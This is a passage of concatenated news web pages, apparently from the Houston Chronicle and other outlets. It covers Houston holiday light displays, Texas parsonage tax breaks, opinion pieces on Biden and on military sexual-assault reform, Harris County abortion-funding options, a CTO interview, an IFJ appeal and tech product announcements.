immerse you in Candyland, Pearland, Nativity, Whimsical, Texas-land and more. Friendswood Stevenson Park The Lighted Holiday Trail is coming back to Stevenson Park, and will be available starting through the end of the year. For more information contact the Parks and Recreation Department at rec@friendswood.com or 281-996-3220. Dickinson Festival of Lights Now in its 23rd year, this free walk-through event located at Paul Hopkins Park in Dickinson, Texas has more than two million Christmas lights. The festival began in 1998 with 100,000 lights and encompassed the triangle of property where the Gazebo sits at HWY 3 and 44th Street. In 2003, the festival was moved to Paul Hopkins Park to accommodate the growing popularity and room for new displays that were added. Santa will also be there and guests can utilize the free shuttle bus service from the parking lot of the Shrine of the True Cross Catholic Church. For more information visit its website. Sedona in League City This year the Edwards Family Light Show display in League City, Texas is has over 65,000 pixels and are all controlled by a computer. The family will also have a toys for tots drive and Santa night. More information is available on Facebook. Friendswood Another local lights display best for Friendswood residents is the Brittenum Family Lights show located at 1208 White Wing Circle Friendswood, Texas. Click here for more information. Quincannon Lane Candy Wonderland Visitors must stay in their cars for this Candy Land, Christmas edition lights display at Quincannon Lane, off of I-10 and Gessner Road in Spring Branch. The event is free and continues through the first week of January. Williams Family Light Show in Deer Park This year the Williams' family has more than 5,000 individually addressed pixels which run through 15,000 channels, and a 13-song playlist which loops every 45 minutes, synchronized to the lights. The show is located at 2310 Wimberly Drive in Deer Park. Johnsons' Christmas Corner The Johnson family has been creating holiday light displays for 10 years since they've lived at their Cypress home, and this year the annual Johnsons' Christmas Corner returns. Its Christmas light display at 14811 Cypress Meadow Dr. includes 70,000 lights synchronized to more than 50 songs for a different show six nights a week, snow machine and bubble machine and a light tunnel that stretches down the front walkway. 10,800 lights that visitors can walk under them as the lights move. For more information visit their website. Is there another fun neighborhood display we should add to the list? Let us know in the comments. A Houston Chronicle investigation found that thousands of religious organizations across Texas have used a vaguely worded Texas law to obtain a 100 percent tax break for clergy residences homes where spiritual leaders reside. The so-called parsonage exemption, which comes on top of breaks religious organizations already receive on their houses of worship and land, costs other state taxpayers millions of dollars a year to make up for the lost revenue. Although many of the homes are modest, at least 28 were worth more than $1 million, the newspaper found. More than two dozen should not have qualified for the tax break because they are on lots that exceed the legal maximum size of 1 acre. Interviews with appraisers and tax experts, as well as a review of how other states regulate their parsonages, suggest several reforms for Texas lawmakers to consider making to the valuable exemption. They range from tweaks to an overhaul. Limit the value of the tax break Most Texas parsonages are modest. But some are extravagant properties worth many times the value of a home most tax-paying Texans could afford. One state dramatically limits the value of the parsonage tax break: In Maine, religious organizations can claim only $20,000 of a clergy residence as tax free; the remaining value is taxed at regular local rates. Texas lawmakers could include a similar limitation to curb the cost to other taxpayers of the states most grandiose parsonages owned by religious organizations that clearly can afford to pay their residential property taxes. Limit the size and number of parsonages for each organization In 1956 the Texas attorney general issued an opinion that the state constitutions 1-acre parsonage limitation meant an individual religious organization could have no more than a single acres-worth of clergy residences in all. Yet that reading of the law appears never to have been tested or enforced. The Chronicle identified several organizations claiming multiple tax-free clergy residences totaling more than an acre. Texas lawmakers could establish clear area and/or residence limits. Montana restricts to 15 acres the total property a church can claim as tax-exempt for any reason. New Jersey permits each individually incorporated religious organization two parsonages. In Tennessee, its only one. Ask applicants to earn their break Like Texas, many states treat the clergy residence exemption as an entitlement: Check a few boxes and receive the tax break. Yet others require applicants to justify the valuable designation before receiving it. In Pennsylvania and Oregon, for example, religious organizations cant merely declare that a tax-free clergy residence is necessary. They must affirmatively make the case why it is essential to their worship. Tighten the terms Several states limit a religious organization seeking a clergy residence tax break to a trained and ordained leader. Texas, by comparison, leaves the term largely undefined. The Chronicle found instances in which students, teachers and lay members lived in tax-free parsonages. A more specific legal definition of clergy would limit the taxpayer-funded homes to the religious leaders it was intended to help. Close the loophole The state law limiting parsonages to a single acre is clear, however, the statute also contains a loophole. If the religious organization also claims that worship- or church-related activity occurs at the residence, then the acreage limit no longer applies. Requiring a parsonage to be used only as a residence to earn its tax break would close the gap. Have organizations periodically reapply Chief appraisers said that with local populations swelling from the states explosive growth, they scramble every year to certify the rolls of tax-paying property owners by the summer deadline. So they had little time left to regularly re-examine property owned by religious organizations that paid no taxes. As a result, there is wide disparity in how often individual appraisal districts require religious organizations to renew their parsonage tax breaks. Although it is not mandated by law, Dallas asks for renewals every year; Bexar requires them once a decade. El Pasos chief appraiser acknowledged that once her office granted a parsonage exemption, the religious organization typically was not asked to reapply. Requiring regular reapplication could catch improperly approved residences or those that no longer qualified. The comptrollers office, which oversees state tax exemptions and regularly audits appraisal districts, also could conduct the reviews to ensure uniformity. Fix the form In many parsonage applications the Chronicle reviewed, organizations submitted tax break requests for properties exceeding the legal size limit yet still received the tax break. One possible reason: The state form used by every appraisal district does not specify that a parsonage cant legally be over 1 acre. Adding language that clearly states the law could stop improper clergy residences from getting approved. Start counting Every two years the Texas comptrollers office publishes a report on how much the largest property tax breaks cost the states school districts in uncollected revenue. This allows the public and policymakers to see in actual dollars the financial slack other taxpayers must pick up for the exemptions. Yet the category of Religious Organizations is left blank. A comptroller spokesman said thats because the agency is required only to tally the total value of charitable and nonprofit organizations. Breaking out the number isnt difficult, though. The Chronicle asked the states 10 largest appraisal districts, representing more than half of the states total population, for the value of tax-exempt religious property in each. Only Collin County did not respond. The total: more than $23 billion worth of untaxed property a figure thats certainly low because appraisers often dont bother updating the market value of parcels that produce no tax revenue. Start coding Several appraisal districts conceded they lacked the technical capability to identify the tax-free clergy residences in their jurisdictions. Even those that could generate a list said it took hours of staff time. Coding parsonages separately from other religious and non-profit property would allow appraisers to check values and exemption applications with a few keystrokes. All it would take is for the comptrollers office, which oversees Texas tax matters, to require it. Turn the job over the Office of the Attorney General Texas legislators have made it costly for appraisal districts to defend contested or controversial decisions. When a disputed case goes to court, districts must pay a property owners legal fees if the district loses yet appraisal districts cant recover theirs if they win. If a district has to refund money, it must be repaid with 9.5 percent interest far higher than any bank currently pays. While theyve seen a huge jump in the number of protests and court cases contesting property appraisals, appraisers said their legal budgets remain tiny. The upshot: Many districts particularly in small counties said they strive to avoid confrontation if at all possible, carefully selecting the few cases they have the time and money to vigorously evaluate and defend. As a consequence, private attorneys said and appraisers agreed that interpretation and enforcement of the religious exemption statutes varied from district to district across the state. Having the states largest law firm and the agency already charged with enforcing nonprofit laws in Texas handle parsonage exemption applications would ensure statewide uniformity at both the review and enforcement stages. Jay Root and Stephanie Lamm contributed to this report. eric.dexheimer@chron.com Is it a good idea for Joe Biden to run for reelection in 2024? And, if he runs again and wins, would it be good for the United States to have a president who is 86 the age Biden would be at the end of a second term? I put these questions bluntly because they need to be discussed candidly, not just whispered constantly. In the 1980s, it was fair game for reputable reporters to ask whether Ronald Reagan was too old for the presidency, at a time when he was several years younger than Biden is today. Donald Trumps apparent difficulty holding a glass and his constricted vocabulary repeatedly prompted unflattering speculation about his health, mental and otherwise. And Bidens memory lapses were a source of mirth among his Democratic primary rivals, at least until he won the nomination. Yet it is now considered horrible manners to raise concerns about Bidens age and health. As if doing so can only play into Trumps hands. As if the presidents well-being is nobodys business but his own. As if it doesnt much matter whether he has the fortitude for the worlds most important job, so long as his aides can adroitly fill the gaps. As if accusations of ageism and a giant shushing sound from media elites can keep the issue off the public's mind. It wont do. From some of his public appearances, Biden seems ... uneven. Often cogent, but sometimes alarmingly incoherent. What is the reason? I have no idea. Do his appearances (including the good ones) inspire strong confidence that the president can go the distance in his current term, to say nothing of the next? No. And many people seem to know it. On Sunday, my New York Times colleagues Jonathan Martin and Alexander Burns reported on the Democratic Partys not-so-quiet murmurs about what to do if Biden decides not to run. Aspirants for the nomination appear in the story like sharks circling a raft, swimming slow. This is not healthy. Not for the president himself, not for the office he holds, not for the Democratic Party, not for the country. In 2019, the Biden campaign cognizant of the candidates age sold him to primary voters as a transition figure, the guy whose main purpose was to dethrone Trump and then smooth the way for a fresher Democratic face. Biden never made that promise explicit, but the expectation feels betrayed. Things might be different if the Biden presidency were off to a great start. It is not. Blame Joe Manchin or Mitch McConnell or the antivaxxers, but Bidens poll numbers have been deeply underwater since August. The man who once gave his party hope now weighs on his partys fortunes like a pair of cement shoes. Things might also be different if it looked like the administration would soon turn the corner. That is the administrations hope for the mammoth Build Back Better legislation. But last months passage of the infrastructure bill didnt really move the political needle for Biden, and that bill was genuinely popular. Now BBB looms as another costly progressive distraction in a time of surging prices, spiking homicides, resurgent disease, urban decay, a border crisis, a supply-chain crisis and the threat of Iran crossing the nuclear threshold and of Russia crossing the Ukrainian border. Oh, and Kamala Harris. Her supporters might decry the fact, but to an ever-growing number of Americans, the heir apparent seems lighter than air. Her poll numbers at this point in her term are the worst of those of any vice president in recent history, including Mike Pences. If she winds up as her partys default nominee if Biden pulls out late, Democrats will have every reason to panic. So what is the president to do? He should announce, much sooner than later, that he will not run for a second term. The argument against this is that it would instantly turn him into a lame-duck president, and that is no doubt true. But, news flash: Right now he is worse than a lame duck because potential Democratic successors are prevented from making calls, finding their lanes and appealing for attention. That goes especially for people in the administration who should be powerful contenders: Commerce Secretary Gina Raimondo, Transportation Secretary Pete Buttigieg and infrastructure czar Mitch Landrieu. And what would that mean for the rest of the Biden presidency? Far from weakening him, it would instantly allow him to be statesmanlike. And it would be liberating. It would put an end to the endless media speculation. It would inject enthusiasm and interest into a listless Democratic Party. It would let him devote himself wholly to addressing the countrys immediate problems without worrying about reelection. And it neednt diminish his presidency. George H.W. Bush accomplished more in four years than his successor accomplished in eight. Greatness is often easier to achieve when good policies arent encumbered by clever politics. Biden should think on it and act soon. Bret Stephens is a columnist for the New York Times. It has been over a year and seven months since Army Specialist Vanessa Guillen was reported missing. Her disappearance and murder hit the Latino community in Houston especially hard. Many of them serve in our military and many of them have children serving. Vanessas tragic death sparked a movement and reforms that otherwise would have been swept under the rug. As we have called for investigations and uncovered the truth behind her death, one thing is clear: The Army failed Vanessa Guillen. Rogelio, Vanessas father, told me how Vanessa dreamed of joining the Army when she was 12 years old. She felt a deep sense of love for America, and the Army represented an opportunity to reach for her American Dream. The U.S. Army was her way to contribute and build a better life for herself. It was her dream; but again, the same institution she vowed to serve, failed her. Before her disappearance, Vanessa confided in her family that she felt unsafe and was being sexually harassed at Fort Hood and feared retaliation from her superiors that kept her from filing a report. That was the culture at Ft. Hood. A culture that on April 22, 2020, led to her disappearance. When the Guillen family reached out to my office in May 2020, we immediately started the Congressional inquiry process. We brought attention to her case and rallied colleagues in Congress to convince the military authorities to take it seriously. I thank Congresswoman Jackie Speier, the chair of the Military Personnel Subcommittee and a fighter in the long battle against sexual harassment and assault, for acting swiftly and elevating Vanessas case in Congress. Tragically, on June 30, 2020, she was found dead only a few miles from Ft. Hood. Vanessa did not deserve to die the way she did. No one does. Even the Armys investigation report on what happened to Vanessa admits that there was a toxic environment and a culture of control. We have a moral obligation to honor her memory by changing the culture of sexual assault and harassment in the military with the landmark reforms included in the National Defense Authorization Act of 2022. I urge the Senate pass the bill. The legislation would remove commanders from the decision-making process during the prosecution of crimes like sexual assault, rape and murder. Instead, a new and independent Office of the Special Trial Counsel would be created to handle the prosecution of these and other crimes. The bill would also for the first time criminalize sexual harassment under the Uniform Code of Military Justice, and require harassment claims to be investigated by an independent party outside the chain of command. The 2022 NDAA also establishes resources for victims of sexual harassment and assault and enforces accountability by requiring the armed forces to report data related to these crimes. This bill is a first step in the fight for getting justice for Vanessa. For over a year and a half, we have been fighting hard to call attention to her case, to get investigators to treat it seriously, and to build the reform package that will prevent future tragedy. We have worked closely with the Guillen family, with the White House and with the Department of Defense to forge a reform package that will be truly transformative. It has not been an easy path, nor is this the final step. But the progress we have made by passing these invaluable changes to the system is nothing short of extraordinary. The fact is that the NDAA contains the most significant reforms to the Uniform Code of Military Justice in over fifty years to finally answer the calls of so many survivors who have bravely come forward to share their stories. Every time I think about Vanessa, I see her face in my sisters, nieces, cousins and other many young women in my district. I remember Vanessa when I drive by Chavez High School, when I visit her mural at Taqueria del Sol, near her home, and when I get countless messages with her picture and murals from all over the world. What happened to Vanessa is personal for me, for thousands of Houstonians and millions of Latinos in our country. This is why my fight has focused on making sure these reforms protect our soldiers from harm while they serve our nation. This is how we get justice for Vanessa Guillen. Sylvia Garcia represents the 29th District in the U.S. House of Representatives and was one of the first two Latinas elected to represent Texas in Congress. Three months after Democrats on Harris County Commissioners Court sought advice on how to counter Texas new abortion ban, policy analysts for the court on Tuesday advised County Judge Lina Hidalgo the county could spend public money to support groups that aid those seeking abortions and perhaps even to directly fund abortion care. The memo to Hidalgo and her top aides detailing the countys options came in response to a resolution passed by Commissioners Court in September, two weeks after the abortion law took effect, that directed their policy analysis office to investigate how the county could support individuals impacted by the ban or otherwise mitigate the laws negative effects. The county is free, the analysts wrote, to send local and federal funds to groups that provide support services including transportation, lodging and child care to those seeking abortions outside the state. Austin officials have approved funding for similar usage, the memo noted, to get around a 2019 state law that bars local governments from sending taxpayer funds to abortion providers a move that has withstood legal opposition. The policy analysts said that while the 2019 law, known as Senate Bill 22, prevents Harris County from spending local taxpayer funds on abortion services, the countys expected $915 million allotment of federal COVID-19 relief money may be eligible for that purpose. The memo sparked immediate backlash from the two Republicans on Commissioners Court and a number of conservative activists including state Rep. Briscoe Cain of Deer Park who attended Tuesdays Commissioners Court meeting to weigh in against the idea of using public funds for ancillary abortion services. "This is naked political posturing, and we ask that you reject it," said Jonathan Covey, the policy director for the religious advocacy group Texas Values. Hidalgo, who is running for re-election next year and has drawn more than a dozen challengers, has been fiercely critical of the abortion law, known as Senate Bill 8, since lawmakers approved the measure this spring. One of the nations strictest anti-abortion policies, it bans the procedure in almost all cases once cardiac activity is detected often around six weeks into a pregnancy, when most women do not know they are pregnant. Hidalgo has been especially critical of the laws enforcement mechanism: lawsuits filed by private citizens, who can collect $10,000 cash and recoup their legal fees if the challenge is successful. Hidalgo on Tuesday said the provision which is aimed at shielding the law from court challenges creates a culture of vigilantism in the community. Facing criticism during Tuesdays meeting, however, Hidalgo noted the memo had appeared on court agenda merely to be transmitted to the court from the Harris County Commissioners Courts Analysts Office, which prepared the document. County departments routinely use the process to formally communicate with the court, which did not vote on any of the policy considerations outlined in the memo. It is not a proposal that is in front of Commissioners Court, Hidalgo said. I know some folks have been saying that. And with campaign season, these kind of accusations, misleading statements are only the first of many. Precinct 4 Commissioner Jack Cagle, a Republican, said critics of the memo were justified in speaking against it at Tuesdays court meeting. As we all know, the report comes first and then the action comes later, Cagle said. The longtime commissioner, whose district recently was redrawn to favor Democrats, also accused Hidalgo and the other Democrats on the court of trying to circumvent state law. Here we go again, Cagle said, turning to address Hidalgo. Anybody that has the audacity to disagree with your position gets accused them of politics, when this is (about) politics itself. A Hidalgo spokesman declined to say what the courts next steps would be or whether Hidalgo supports any of the memos policy considerations. In September, however, after the court approved the resolution seeking advice on mitigating SB 8, Hidalgo said the move was about committing to do everything possible as a court to counter this law and its effects. Aside from ancillary funding, the policy analysts suggested Harris County could counter the abortion ban by instructing a county department to disseminate information about the types of services available to those seeking abortions, including clinics in and out of Texas and where to find financial support for travel. The memo also said Commissioners Court could direct its lobbying team to advocate for state laws that expand access to abortion, though such efforts would run into immediate opposition at the Republican-controlled Legislature. It also listed several in- and out-of-state organizations recommended by unspecified local stakeholders to receive public funds from the county including Whole Womens Health Alliance, a nonprofit that manages several clinics in and out of Texas and is a plaintiff in a key lawsuit challenging Senate Bill 8. NEWSLETTERS Join the conversation with HouWeAre We want to foster conversation and highlight the intersection of race, identity and culture in one of America's most diverse cities. Sign up for the HouWeAre newsletter here. Precinct 3 Commissioner Tom Ramsey, the other Republican on the court, took aim at the suggestion that COVID relief funds could be used to counter Senate Bill 8, which he characterized as money that was meant to be spent to save lives being used to take lives. The memo, prepared by Amy Rose, a senior analyst for the Harris County Commissioners Courts Analysts Office, states that there are no limitations on funding services ancillary to abortion care, including with federal funds. Rose cited input from an outside consulting firm that said federal guidelines allow the latest round of COVID relief money to be used to provide general financial assistance to nonprofits and to help small businesses in a broad array of situations, including those facing financial hardship from COVID. The easiest way to use (federal COVID) funds to support access to abortion care would be to give general financial assistance to nonprofit organizations that provide abortion care or related services in Harris County, the memo reads. Cain, the state representative, argued the county could not provide even transportation or lodging for women seeking an abortion because the Texas Constitution does not explicitly authorize it. He drew a distinction between counties, which are an arm of the state, and so-called home rule cities, which can pass any laws they deem necessary unless prohibited by state law. As for the direct use of federal funds on abortion services, the Harris County Attorneys Office said Senate Bill 22, the Texas law barring the county from doing business with providers, does not address federal funding. The consulting firm, however, told county officials that while federal guidance allows local officials to use COVID relief to facilitate access to resources that improve health outcomes, it would be difficult to justify directly paying for abortion care with federal funds. jasper.scherer@chron.com Subscribing to our services is a three step process. First you have to create an account and then you have to pick if you want to subscribe to digital and or print. Some people only want to be a digital subscriber to get access online and others want to also receive the print edition. If you are already a print subscriber and want online access, it is free, you simply have to create an online account and then attach your print subscription account number to the online account you create. EforAll Gala Will Be Virtual PITTSFIELD, Mass. Entrepreneurship for All (EforAll) Berkshire County has decided to change the Dec. 21 Gala to a virtual event on Zoom. With the recent uptick in cases of Covid in the area, the upcoming holidays and with concern for the health and safety of the local community, EforAll will celebrate their Fall 2021 cohort virtually instead of in-person as originally planned. Included in a press release: "Though it won't be the same as in-person, we still have big plans! We will hear from former Governor Deval Patrick, a class speaker, award our cohort certificates and cash prizes and offer a tribute to our friend Paula Buxbaum on Tuesday, December 21st at 5:30pm over Zoom. And now that it's virtual, we hope to have an even bigger turnout!" The event will celebrate graduates of its 2022 Fall Accelerator Program and award $10,000 in prize money. Former Massachusetts Governor Deval Patrick will keynote. EforAll began its fourth Accelerator in Berkshire County in September 2021 and will "graduate" 13 individuals (representing 12 organizations) from the intensive 12 week program. They have been learning twice a week from experts on a variety of topics about business and entrepreneurship. Distribution of a $10,000 prize pool for the Fall 2021 graduates will be announced at this celebration. Name: Atul Chadha Company: Affinity Solutions Job title: Chief Technology & Operations Officer Date started current role: January 2018 Location: San Jose, CA Atul Chadha is Chief Technology & Operations Officer at Affinity Solutions. He heads the Engineering, Data Science, Analytics, Program Management and Quality functions at the company. Prior to joining Affinity Solutions, Chadha held various senior leadership positions in Big Data and Cloud technology and strategy at IBM Silicon Valley Lab. He has authored nine patents in data mining and related areas, including one which was rated among the top 5% of most valuable patents for IBM. Chadha is a data focused entrepreneur having co-founded a behavioural data platform startup and has over 25 years of experience in the field of software engineering, data engineering, data mining and cloud technologies, with senior roles at Wipro, Good Technology (acquired by Blackberry), PeopleSoft (acquired by Oracle), and IBM. What was your first job? My first job was as a customer support engineer at a company named WIPRO. I was supporting UNIX workstations, Windows desktops and conducting training on the associated software. I was responsible for customer experience you could say, which has served me well throughout my entire career. Did you always want to work in IT? In my younger days, I wanted to be a forensic scientist or a detective. That changed when I was in high school where I discovered I had lot of interest in software and just continued down that path. I would say, yes, I've always wanted to be in IT and I found a passion for technology early on. Where did you go to school and what are the specific degrees or certifications that you have? I did my undergraduate study in India at Birla Institute of Technology Mesra. I came to the United States to continue my studies abroad and have been in the Bay Area ever since. I completed my Masters in Computer Science at University of California, San Diego. I also earned an MBA at Cal State, East Bay. I have also received numerous certifications over the years, related to databases, UNIX and analytics software. How did you begin your career and were there any unexpected detours along the way? Ive always had a passion for technology and innovation. After my Masters, I went straight to work for IBM. The first half of my career was purely technical. I did take a quick detour and started my own company, which led me to more business-related roles. As an entrepreneur, I was playing every role, spanning fundraising and everything that needs to get done within a startup. The second portion of my career has been a mix of business and technology, but the constant has always been data and software, and these are the key areas I still focus on today in my role as CTO of Affinity Solutions. What type of CTO are you? My approach is very hands on. I like to think of myself as a lead by example type of leader. I would say I do lean towards a more participative or democratic style. I like engaging the teams, but obviously I am always mindful of staying agile and making decisions quickly. I do take my team along in the decision-making process and I think that has always led to very positive and productive work environments. As a CTO, my focus is always on use cases that can solve customer or client problems. Everything I do is customer-centric and that is what I engage my teams around. Which emerging technology are you most excited about? In general, I'm really fascinated by genomic research, which, as we've seen recently, has led to very quick COVID-19 vaccine development. I believe there's a lot more to come and a lot of potential in this area. Machine learning and artificial intelligence are an important part of genomics that are needed to analyse the vast volumes of data the genome produces and discover useful patterns. Pattern discovery using artificial intelligence is obviously very important for any data-driven field and any company in todays environment, let alone a company like Affinity Solutions where we are so heavily focused on data and the cleansing, integration and analysis of it. Are there any technologies that you think have been overhyped and if so, why? I think blockchain technologies are overhyped. With the advent of cryptocurrency, these technologies came to the forefront, and perhaps their potential was overestimated. I think they're really overhyped in terms of real use cases where they've been implemented thus far and dramatic results using the technology have been few and far between. Perhaps the concept may still succeed over the years, but I think there is a long way to go. What is one unique initiative that you've worked on over the last 12 months that you're proud of? We launched a partnership with Harvards Opportunity Insights (OI) as part of our Data for Good initiative at the start of COVID. This partnership has helped track the economic impact of the pandemic in real-time, to solve for important policy issues. That work has focused on things related to income disparity and led to advising the new Administration on stimulus relief. We are very proud of the consumer insights we are able to produce and the fact that they have been recognised by OI and featured regularly in top-tier media outlets. We have many examples of our spend behavior insights being leveraged by the academic and nonprofit community, including a weekly Employment Index which was launched in the state of Texas. Everything that has been a part of this initiative has had a positive impact and I am very proud of the work my team and I have contributed to this effort. Im also proud to be part of a company like Affinity Solutions which has chosen to use its resources to help people during these uncertain and difficult times. Our companys purpose is to use data to improve peoples lives, and I feel this a great proof point of us living up to our promise. Are you leading a digital transformation and does it emphasise customer experience and growth? And how do you balance the two? As far as a digital transformation, we are already part of that evolution, which happened years ago at our own company. Today, we are really focused on helping many of our customers and partners take a similar digital transformation journey. Our current set of solutions provides insights based on consumer behavior and allows customers to act upon those insights as well. This type of data really enables other organisations to easily digitally transform, particularly because of the hyper personalised experiences our data helps unlock. We work with our customers to enhance whatever customer experience (CX) they have, because with our help, they can personalise all interactions with their consumers and better align with their interests and motivations. This type of work is very important and can obviously have big incremental impact on revenue. We are working on launching a data platform code-named Panorama which will take this thinking a step further and enable partners to build their own applications, designed to enrich CX, on top of our data. What is the biggest issue that you're helping customers with at the moment? Currently, our insights product is being leveraged by retailers, and consulting firms that engage with retailers in defining the move forward strategy amidst the significant impact from the pandemic. It's very important for our customers to understand how consumer behaviors have changed and which are temporary versus permanent. We help them understand where they should be investing more and where they should be holding back or cutting down. Its all about optimising strategy related to engaging with consumers, understanding their current behavior and predicting their future behavior. How do you align your technology use to meet business goals? There is oftentimes some tussle between the business side and technology, however, we have our decisioning methodology within the organisation where collectively, all functions come together around major decisions to ensure both sides are aligned. Its really about teamwork and we work to ensure whatever decision as a business we make, it lines up with our current thinking and strategy in a synergistic way and is designed for optimal outcomes. Do you ever have any trouble matching product strategy with tech strategy? With a company of our size, there are always revenue pressures which may lead us to rejigger our roadmap and develop certain capabilities or features on a more accelerated pace. We are pretty agile in that regard and able to adapt quickly to our business needs. What makes an effective tech strategy? Alignment with business strategy is critical. As I said, my own leadership style is more around working with the use cases and solving business problems that matter to our clients and partners. Any good tech strategy has to really be driven both by innovation that's happening in the market, and by the business goals. For example, if we have customers who, from a business perspective, would prefer to work with a certain cloud provider, then thats an important factor, not just which cloud provider is providing the best-in-class technology capabilities. We bring our approach to business alignment to our customers and our partners, which is especially important in light of our partner-led go-to-market strategy. How has the CTO role changed and how will it continue to change? I think the CTO role used to be a more technology-driven visionary role. CTOs needed to be thinking ahead, thinking of innovations, which obviously remains one of the goals of a CTO. However, I think the role has transformed to be closer to the business, the here and now. Its not only about the vision, but also about execution and taking into account many of the new things which are happening out there in the world, like privacy, security and being nonbiased. There is so much for CTOs to stay on top of today because of the accelerated pace of change going on around us. If you look at the area of artificial intelligence, I think, one of our key roles right now is to take something complex and make it explainable. Certain decisions are made automatically based on algorithms, maybe neural nets, or whatever it might be. However, I think it's important to look at why certain decisions are made and ensure that no unpermitted attributes were considered, even if they are made by the machine. CTOs have to play a much more central role within the leadership team today and be much more closely aligned with strategy versus just technology or infrastructure. What has been your greatest career achievement to date? This is a tough one. In different phases of my career, there have been milestones Ive been very proud of. If I were to look back at my pure technology days, I built an extremely fast loading mechanism for IBM's DB2 database which had a big business impact. At that time, IBM DB2 running on workstations was competing with Oracle, which was very far ahead in this area. Oracle ran ads showing IBM as the snail. The loading mechanism I built as a prototype and then introduced to customers, had an enormous impact on our ability to be a top competitor in the market. The second one was product-focused and more around data mining, which is now part of the overall DB2 umbrella. I built a data mining lab and worked with customers on their real business problems. My work had a big impact in the data mining arena moving forward. As you know, there's a lot of research papers and algorithms that came out of the IBM labs on this topic and I was proud to be a part of putting all this innovation to practical use. Looking back in hindsight, is there anything that you would have done differently throughout your career to date? I would have put a greater focus on building a personal brand in terms of my professional achievements and the impact they had. I didn't really lay much focus on it in the early days, but I think it's important for every leader to be a visible thought leader and certainly a critical component of the path to the C-Suite. If I were to do it again, I would probably have done that much earlier in my career. Error 500 Error 500 Internal Server Error Looks like something has gone wrong in the plumbing. We'll be fixing this just as soon as we can. The International Federation of Journalists (IFJ) has joined its affiliate, the Syrian Journalists Union (SJU), in calling for the release of journalist Mohammed Al Sagheer in a letter to the Syrian Democratic Council (SDC). The journalist was arrested on 7 June, 2019 in Northeast Syria and sentenced by a military anti-terrorism court to 25 years in jail. For over two years, Al Sagheers family, the IFJ and our Syrian affiliates have been demanding information about his state of health and the charges he was facing. In August 2021, Khalid Alhasan, a journalist who was arrested with him in the same case, was released from jail. On September 16, Al Sagheers family informed the IFJ that his condition was deteriorating fast after he had suffered multiple strokes. The IFJ leadership are all shocked to hear the news about the very serious mental and physical state of our colleague caused by his imprisonment and his suffering from multiple strokes while in jail," the IFJ said in its letter. Anthony Bellanger, IFJ General Secretary said: Our colleague is facing immense suffering in jail and without adequate health and family care his days are numbered. We urge the SDC to call on the SDF and the Autonomous Administration of North and East Syria to secure his release so he can spend his remaining days with his family. The IFJ previously called the accusations against Al Sagheer "implausible" and recognises him as a well-known journalist who reported on the daily life of people living in the region and the ongoing economic and security hardships they faced. The IFJ calls on all its affiliates and union activists to send letters calling for the release of our colleague to the SDC at the following addresses: info-relations@m-syria-d.com; sdcpress@m-syria-d.com, with copies to the union: journalists-sy@hotmail.com You can download the IFJ letter as a template Global livestreaming social network app BIGO Live will be holding their first BIGO Live Philippines Annual Awards Gala on December 23, 2021, at 8:00 PM. Top BIGO Live personalities will be hosting the first BIGO Live Philippines Annual Awards Gala 2021. The event celebrates the culmination of hard work and commitment of BIGO Lives hosts, agencies and partners that keep the BIGO Live community strong. For the first time in the Philippines, the local awards gala will be held virtually, allowing BIGO Live hosts and users alike to simultaneously stream and interact with each other through a series of activities and performances. The awards comprises three major categories, The Host Awards, a category recognizing BIGO Live hosts who have made significant achievements during the year; The Agency Awards, a category that recognizes BIGO Live partners who have successfully scouted for talent and brought them onboard BIGO Live; and finally, The Family Awards, which commend groups created within the BIGO Live community that support and aid each other during player knock-out challenges. The event will also feature live performances by top hosts who will be competing for in-event awards: The Top Performer of the Night, The Best Team of the Night and The Best MC of the Night. The winners will be determined through online votes that are cast during the event. BIGO Lives will officially launch their latest innovation, the 3D Avatars. Allowing users to extend their creativity during live streams in the BIGO Live App. In addition, BIGO Live will also be officially launching their latest interactive feature in the Philippines, the Virtual Live 3D avatars. As Bigo Live continues to enhance social connection between users through innovation, this function aims to further integrate the digital world with the physical one, by letting users create a digital reflection of themselves through a blend of virtual reality (VR) and augmented reality (AR) technology. The 3D Avatars allow users to extend creativity by allowing them to create a representation of themselves, combining the best of both their digital and physical selves. Virtual Live is a part of Bigo Lives ongoing commitment to building a holistic Metaverse experience for its 400 million users across 150 countries. We are excited to host the first BIGO Live Philippines Annual Awards Gala in recognition of Filipino talent and creativity. The countrys top BIGO Live hosts are gathered to showcase their talent through a series of curated performances during the event. Through this platform, we believe we are helping these talented content creators shape a community or a universe thats inclusive, relevant and empowering. This is also our way of acknowledging Filipino resilience and providing hope and happiness during these trying times, said Mike Ong, Vice President, BIGO Live. BIGO LIVE hopes to empower people through technological innovations in the area of live virtual content creation and in connecting users through shared interests across the country or the globe, creating communities that transcend, despite cultural differences. Scan the QR code to download the BIGO Live App and join the first BIGO Live Philippines Annual Awards Gala 2021. Be a part of the BIGO Live community and watch the awards event on December 23. Download the BIGO Live app on the App Store and Google Play or visit its website at bigo.onelink.me/1168916328/PHGALA2021 or scan the QR code. OPPO held its annual technology event, OPPO INNO DAY 2021, in Shenzhen, China, and online in its virtual OPPO INNO WORLD. Themed Reimaging the Future, the event included a news-filled keynote speech by OPPO Founder and CEO Tony Chen, announcing OPPOs new brand proposition Inspiration Ahead. During the first days event, OPPO introduced its first Cutting-edge Imaging NPU, MariSilicon X, and the revolutionary OPPO Air Glass. OPPO will introduce its first foldable smartphone, OPPO Find N, on the second day of INNO DAY. OPPO Sets Eyes on the Future with New Inspiration Ahead Brand Proposition During his opening keynote speech, Tony Chen reaffirmed OPPOs commitment to developing innovations that revolve around user experience while announcing the companys new brand proposition, Inspiration Ahead, which takes optimism and Inspiration against the challenges and uncertainties everyone is facing. OPPO Founder and CEO Tony Chen announced new brand proposition, Inspiration Ahead We are living in an unprecedented age, and as a global technology company, we at OPPO feel it is both our duty and our privilege to try and make the world a better place through our technologies, products, and action, said Tony Chen. Although the journey towards each technological breakthrough is full of challenges, we aim to continue as we have started, step by step, to reach Inspiration Ahead as we have set out in our new brand proposition. Introducing OPPOs First 6nm Cutting-edge Imaging NPU and the Revolutionary OPPO Air Glass During the event, OPPO unveiled its first Cutting-edge Imaging NPU MariSilicon X . Built on 6nm process technology, MariSilicon X features an advanced NPU, ISP, and Multi-tier Memory Architecture that delivers incredible image processing power with ultra-high power efficiency. MariSilicon X enables 4K AI Night Video to be captured in the RAW domain using complete image data for the first time on Android smartphones. The Cutting-edge Imaging NPU will make its debut on the Find X Series in Q1 2022, making it one of the most advanced commercialized imaging NPU on a smartphone yet. OPPO unveiled its first Cutting-edge Imaging NPU MariSilicon X OPPO INNO DAY 2021 also saw the official announcement of OPPO Air Glass. The groundbreaking aR (assisted Reality) device features a revolutionary monocle waveguide design inspired by the 